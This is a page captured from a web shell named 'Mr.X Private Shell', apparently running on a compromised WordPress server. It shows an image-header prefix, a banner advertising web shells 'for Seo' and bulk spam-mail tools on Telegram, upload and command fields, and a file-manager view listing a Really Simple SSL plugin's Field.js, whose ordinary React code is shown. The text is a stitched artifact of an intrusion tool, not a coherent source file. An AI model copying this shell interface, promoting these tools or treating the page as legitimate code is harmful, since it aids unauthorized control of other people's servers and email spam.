����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
import {
    TextControl,
    RadioControl,
    SelectControl,
    TextareaControl,
    __experimentalNumberControl as NumberControl,
    ToggleControl,
} from '@wordpress/components';
import { __ } from '@wordpress/i18n';
import * as rsssl_api from "../utils/api";
import License from "./License";
import Password from "./Password";
import Host from "./Host";
import Hyperlink from "../utils/Hyperlink";
import LetsEncrypt from "../LetsEncrypt/LetsEncrypt";
import Activate from "../LetsEncrypt/Activate";
import MixedContentScan from "./MixedContentScan";
import PermissionsPolicy from "./PermissionsPolicy";
import Support from "./Support";
import LearningMode from "./LearningMode";
import ChangeStatus from "./ChangeStatus";
import {
    Component,
} from '@wordpress/element';

/*
 * https://react-data-table-component.netlify.app
 */
import DataTable from "react-data-table-component";


class Field extends Component {
    constructor() {
        super( ...arguments );
        this.scrollAnchor = false;
        this.onChangeHandlerDataTableStatus = this.onChangeHandlerDataTableStatus.bind(this);
        this.onChangeHandler = this.onChangeHandler.bind(this);

    }

    componentDidMount(){

    }

    componentDidUpdate(){
        if ( this.props.highLightedField===this.props.field.id && this.scrollAnchor.current ) {
            this.scrollAnchor.current.scrollIntoView()
        }
    }

    onChangeHandler(fieldValue) {
        let fields = this.props.fields;
        let field = this.props.field;
        fields[this.props.index]['value'] = fieldValue;

        //we can configure other fields if a field is enabled, or set to a certain value.
        let configureFieldCondition = false;
        if (field.configure_on_activation) {
            if ( field.configure_on_activation.hasOwnProperty('condition') && this.props.field.value==field.configure_on_activation.condition ) {
                configureFieldCondition = true;
            }
            let configureField = field.configure_on_activation[0];
            for (let fieldId in configureField ) {
                if ( configureFieldCondition && configureField.hasOwnProperty(fieldId) ) {
                    this.props.updateField(fieldId, configureField[fieldId] );
                }
            }
        }
        this.props.saveChangedFields( field.id )
    }

    /*
     * Handle data update for a datatable, for the status only (true/false)
     * @param enabled
     * @param clickedItem
     * @param type
     */
    onChangeHandlerDataTableStatus(enabled, clickedItem, type ) {

        let field=this.props.field;
        enabled = enabled==1 ? 0 : 1;
        if (typeof field.value === 'object') {
            field.value = Object.values(field.value);
        }
        //find this item in the field list
        for (const item of field.value){
            if (item.id === clickedItem.id) {
                item[type] = enabled;
            }
            delete item.valueControl;
            delete item.statusControl;
            delete item.deleteControl;
        }
        //the updateItemId allows us to update one specific item in a field set.
        field.updateItemId = clickedItem.id;
        let saveFields = [];
        saveFields.push(field);
        this.props.updateField(field.id, field.value);
        rsssl_api.setFields(saveFields).then(( response ) => {
            //this.props.showSavedSettingsNotice();
        });
    }
    onCloseTaskHandler(){

    }

    render(){
        if ( this.highLightClass ) {
            this.scrollAnchor = React.createRef();
        }
        let field = this.props.field;
        let fieldValue = field.value;
        let fields = this.props.fields;
        let disabled = field.disabled;
        this.highLightClass = this.props.highLightedField===this.props.field.id ? 'rsssl-field-wrap rsssl-highlight' : 'rsssl-field-wrap';

        //if an element is highlighted, get that element, and scroll into view

        let options = [];
        if ( field.options ) {
            for (var key in field.options) {
                if (field.options.hasOwnProperty(key)) {
                    let item = {};
                    item.label = field.options[key];
                    item.value = key;
                    options.push(item);
                }
            }
        }

        //if a feature can only be used on networkwide or single site setups, pass that info here.
        if ( !rsssl_settings.networkwide_active && field.networkwide_required ) {
            disabled = true;
            field.comment = <>{__("This feature is only available networkwide.","really-simple-ssl")}<Hyperlink target="_blank" text={__("Network settings","really-simple-ssl")} url={rsssl_settings.network_link}/></>
        }

        if ( field.conditionallyDisabled ) {
            disabled = true;
        }

        if ( !field.visible ) {
            return (
                <></>
            );
        }

        if ( field.type==='checkbox' ){
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <ToggleControl
                      disabled = {disabled}
                      checked= { field.value==1 }
                      label={ field.label }
                      onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                  />
                  {field.comment && <div className="rsssl-comment" dangerouslySetInnerHTML={{__html:field.comment}}></div>}
                </div>
            );
        }

        if ( field.type==='hidden' ){
            return (
                <input type="hidden" value={field.value}/>
            );
        }

        if ( field.type==='radio' ){
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <RadioControl
                      label={ field.label }
                      onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                      selected={ fieldValue }
                      options={ options }
                  />
                </div>
            );
        }

        if ( field.type==='text' || field.type==='email' ){
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <TextControl
                      required={ field.required }
                      disabled={ disabled }
                      help={ field.comment }
                      label={ field.label }
                      onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                      value= { fieldValue }
                  />
                </div>
            );
        }

        if ( field.type==='button' ){
            return (
                <div className={'rsssl-field-button ' + this.highLightClass} ref={this.scrollAnchor}>
                    <label>{field.label}</label>
                    <Hyperlink className="button button-default" text={field.button_text} url={field.url}/>
                </div>
            );
        }

        if ( field.type==='password' ){
            return (
                <div className={ this.highLightClass} ref={this.scrollAnchor}>
                    <Password
                        index={ this.props.index }
                        field={ field }
                        fields={ this.props.fields }
                        saveChangedFields={this.props.saveChangedFields}
                    />
                </div>
            );
        }

        if ( field.type==='textarea' ){
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <TextareaControl
                      label={ field.label }
                      disabled={ disabled }
                      help={ field.comment }
                      value= { fieldValue }
                      onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                  />
                </div>
            );
        }

        if ( field.type==='license' ){
            let field = this.props.field;
            let fieldValue = field.value;
            let fields = this.props.fields;
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <License setPageProps={this.props.setPageProps} fieldsUpdateComplete = {this.props.fieldsUpdateComplete} index={this.props.index} fields={fields} field={field} fieldValue={fieldValue} saveChangedFields={this.props.saveChangedFields} highLightField={this.props.highLightField} highLightedField={this.props.highLightedField}/>
                </div>

            );
        }
        if ( field.type==='number' ){
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                    <NumberControl
                        onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                        help={ field.comment }
                        label={ field.label }
                        value= { fieldValue }
                    />
                </div>
            );
        }
        if ( field.type==='email' ){
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <TextControl
                      help={ field.comment }
                      label={ field.label }
                      onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                      value= { fieldValue }
                  />
                </div>
            );
        }

        if ( field.type==='host') {
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <Host
                       index={this.props.index}
                       saveChangedFields={this.props.saveChangedFields}
                       handleNextButtonDisabled={this.props.handleNextButtonDisabled}
                       updateFields={this.props.updateFields}
                      fields={this.props.fields}
                      field={this.props.field}
                  />
                </div>
            )
        }

        if ( field.type==='select') {
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <SelectControl
                      disabled={ disabled }
                      help={ field.comment }
                      label={ field.label }
                      onChange={ ( fieldValue ) => this.onChangeHandler(fieldValue) }
                      value= { fieldValue }
                      options={ options }
                  />
                </div>
            )
        }

        if ( field.type==='support' ) {
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <Support/>
                </div>
            )
        }
        if ( field.type==='permissionspolicy' ) {
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <PermissionsPolicy disabled={disabled} updateField={this.props.updateField} field={this.props.field} options={options} highLightClass={this.highLightClass} fields={fields}/>
                </div>
            )
        }

        if ( field.type==='learningmode' ) {
            return(
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <LearningMode disabled={disabled} onChangeHandlerDataTableStatus={this.onChangeHandlerDataTableStatus} updateField={this.props.updateField} field={this.props.field} options={options} highLightClass={this.highLightClass} fields={fields}/>
                </div>
            )
        }

        if ( field.type === 'mixedcontentscan' ) {
            return (
                <div className={this.highLightClass} ref={this.scrollAnchor}>
                  <MixedContentScan dropItemFromModal={this.props.dropItemFromModal} handleModal={this.props.handleModal} field={this.props.field} fields={this.props.selectedFields}/>
                </div>
            )
        }

        if ( field.type === 'letsencrypt' ) {
                return (
                   <LetsEncrypt key={field.id} resetRefreshTests={this.props.resetRefreshTests} refreshTests={this.props.refreshTests} getFieldValue={this.props.getFieldValue} save={this.props.save} selectMenu={this.props.selectMenu} addHelp={this.props.addHelp} updateField={this.props.updateField} fields={this.props.fields} field={field} handleNextButtonDisabled={this.props.handleNextButtonDisabled}/>
                )
        }

        if ( field.type === 'activate' ) {
                return (
                   <Activate key={field.id} selectMainMenu={this.props.selectMainMenu} resetRefreshTests={this.props.resetRefreshTests} refreshTests={this.props.refreshTests} getFieldValue={this.props.getFieldValue} save={this.props.save} selectMenu={this.props.selectMenu} addHelp={this.props.addHelp} updateField={this.props.updateField} fields={this.props.fields} field={field} handleNextButtonDisabled={this.props.handleNextButtonDisabled}/>
                )
        }

        return (
            'not found field type '+field.type
        );
    }
}

export default Field;

Filemanager

Name Type Size Permission Actions
ChangeStatus.js File 702 B 0644
Field.js File 13.04 KB 0644
Help.js File 1.61 KB 0644
Host.js File 1.71 KB 0644
LearningMode.js File 13.74 KB 0644
License.js File 5.17 KB 0644
MixedContentScan.js File 11.42 KB 0644
Notices.js File 782 B 0644
Password.js File 1.32 KB 0644
PermissionsPolicy.js File 6.12 KB 0644
Settings.js File 7.58 KB 0644
SettingsGroup.js File 7.35 KB 0644
SettingsPage.js File 14.22 KB 0644
Support.js File 2.44 KB 0644